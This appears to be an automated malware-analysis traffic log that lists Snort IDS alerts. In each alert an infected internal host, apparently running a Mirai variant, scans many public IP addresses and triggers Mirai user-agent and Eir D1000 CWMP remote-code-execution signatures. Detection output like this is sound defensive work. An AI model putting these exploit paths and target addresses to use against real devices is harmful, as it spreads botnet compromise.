Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49122 -> 86.49.171.186:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35182 -> 213.21.228.69:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47530 -> 86.109.17.25:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52248 -> 86.157.17.106:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52466 -> 86.162.58.164:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33150 -> 86.140.195.38:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35364 -> 86.56.211.220:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58670 -> 213.178.226.225:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41710 -> 86.16.70.106:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55628 -> 181.63.248.219:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42222 -> 122.116.175.182:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54878 -> 84.53.166.89:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45888 -> 61.112.4.244:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60414 -> 61.214.249.2:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53360 -> 45.85.185.35:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43026 -> 209.204.32.235:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53888 -> 216.16.165.156:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43146 -> 174.116.138.55:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43140 -> 71.219.37.121:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56410 -> 188.167.63.124:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55402 -> 72.176.152.111:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56424 -> 188.167.63.124:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53124 -> 177.76.82.184:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43050 -> 209.204.32.235:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53478 -> 175.252.59.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53910 -> 216.16.165.156:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39126 -> 103.45.100.134:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43172 -> 174.116.138.55:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43592 -> 83.131.0.153:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46012 -> 72.223.45.10:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43166 -> 71.219.37.121:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58676 -> 83.1.197.151:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37036 -> 103.59.149.143:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57232 -> 206.189.53.175:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51368 -> 83.212.168.49:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39778 -> 83.36.156.85:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55396 -> 83.174.219.20:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55432 -> 72.176.152.111:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39516 -> 68.202.237.234:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60120 -> 177.182.166.239:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43522 -> 83.69.136.40:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46070 -> 72.223.45.10:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37094 -> 103.59.149.143:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53532 -> 175.252.59.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:47428 -> 118.37.21.251:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35354 -> 175.228.248.202:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48968 -> 83.96.16.114:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40544 -> 83.48.141.237:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39184 -> 103.45.100.134:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39584 -> 68.202.237.234:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52706 -> 222.97.243.238:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58492 -> 206.206.109.232:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43904 -> 206.201.137.138:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59106 -> 206.180.183.157:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53950 -> 206.127.29.29:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60634 -> 206.1.180.72:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60188 -> 177.182.166.239:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58986 -> 206.74.30.8:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:47496 -> 118.37.21.251:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35426 -> 175.228.248.202:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:50324 -> 206.130.145.95:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38196 -> 206.127.239.43:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52764 -> 222.97.243.238:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59068 -> 206.237.181.138:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51144 -> 206.233.162.140:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60650 -> 206.81.102.12:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53380 -> 45.85.185.35:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36618 -> 89.105.247.159:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36766 -> 89.105.247.159:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53158 -> 177.76.82.184:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40808 -> 189.41.233.14:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57192 -> 83.16.116.66:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40812 -> 189.41.233.14:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60942 -> 169.50.21.27:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:47218 -> 95.146.251.74:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:49968 -> 95.166.122.141:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:53142 -> 95.143.220.132:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55948 -> 181.63.248.219:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33548 -> 169.61.73.206:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:47902 -> 95.66.10.199:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52216 -> 169.61.180.182:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51232 -> 169.62.141.235:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53932 -> 169.44.203.91:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46652 -> 169.159.141.34:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44428 -> 156.226.85.186:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52646 -> 220.245.222.61:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37854 -> 80.221.52.3:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33890 -> 80.192.1.3:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44228 -> 197.92.228.152:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49116 -> 221.167.226.200:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59856 -> 218.149.239.197:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52658 -> 220.245.222.61:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:46410 -> 95.101.247.154:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49152 -> 221.167.226.200:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59892 -> 218.149.239.197:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37228 -> 82.112.103.32:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44496 -> 82.220.38.240:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36148 -> 82.219.105.121:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40028 -> 82.123.41.68:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36680 -> 82.223.21.93:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38888 -> 82.15.73.108:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45780 -> 82.207.195.88:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54342 -> 82.14.3.16:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41678 -> 82.7.193.0:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38156 -> 82.4.176.238:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57090 -> 181.54.73.67:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52960 -> 80.243.227.47:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51938 -> 80.140.210.34:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57418 -> 109.148.132.40:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56000 -> 80.229.43.119:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:38438 -> 94.197.53.203:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57578 -> 109.148.132.40:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53612 -> 80.4.37.101:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41500 -> 80.151.8.188:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54124 -> 216.16.165.156:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:38598 -> 94.197.53.203:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46822 -> 82.156.189.178:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:34098 -> 190.32.245.82:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49266 -> 96.39.242.194:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45994 -> 175.246.51.224:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54288 -> 216.16.165.156:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52124 -> 14.54.60.87:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33416 -> 190.227.60.18:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35670 -> 82.157.9.253:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56790 -> 216.245.97.237:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:34262 -> 190.32.245.82:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54056 -> 45.47.184.48:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40240 -> 80.13.149.167:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58564 -> 206.214.31.186:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45182 -> 75.169.148.20:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49436 -> 96.39.242.194:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54074 -> 45.47.184.48:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58582 -> 206.214.31.186:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46164 -> 175.246.51.224:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45200 -> 75.169.148.20:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52294 -> 14.54.60.87:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33586 -> 190.227.60.18:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44846 -> 186.182.115.205:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44264 -> 197.92.228.152:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46664 -> 195.167.174.127:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44862 -> 186.182.115.205:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48586 -> 195.15.229.63:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43282 -> 195.201.36.220:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56808 -> 216.245.97.237:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44776 -> 72.140.49.242:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49800 -> 173.34.6.192:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49808 -> 173.34.6.192:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44784 -> 72.140.49.242:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59622 -> 61.101.127.149:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39390 -> 75.237.87.217:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:54100 -> 95.111.231.41:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39398 -> 75.237.87.217:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:54120 -> 95.111.231.41:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57656 -> 83.16.116.66:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57362 -> 86.64.225.63:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:50490 -> 86.10.184.125:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:50526 -> 86.122.219.125:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42202 -> 86.63.77.231:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45000 -> 86.62.28.230:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43948 -> 86.40.57.176:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40054 -> 86.28.110.84:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45510 -> 86.174.68.125:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51358 -> 206.188.72.79:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56146 -> 206.2.197.247:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41556 -> 206.237.193.201:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55526 -> 206.237.165.194:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58840 -> 206.237.144.25:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58436 -> 206.233.174.175:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:48104 -> 112.80.131.157:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57372 -> 206.233.178.89:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:41898 -> 112.175.63.13:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53770 -> 211.228.234.222:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37902 -> 203.220.152.31:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53518 -> 68.184.61.21:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48406 -> 37.59.189.152:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56884 -> 61.76.171.149:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57358 -> 191.55.246.202:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53786 -> 211.228.234.222:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:32878 -> 85.209.132.221:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37758 -> 175.246.203.68:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35182 -> 152.170.207.193:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35782 -> 121.142.96.193:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51688 -> 175.234.184.90:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53540 -> 68.184.61.21:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44266 -> 124.168.14.85:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37926 -> 203.220.152.31:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56914 -> 61.76.171.149:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57392 -> 191.55.246.202:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37790 -> 175.246.203.68:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35208 -> 152.170.207.193:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35814 -> 121.142.96.193:7547 |
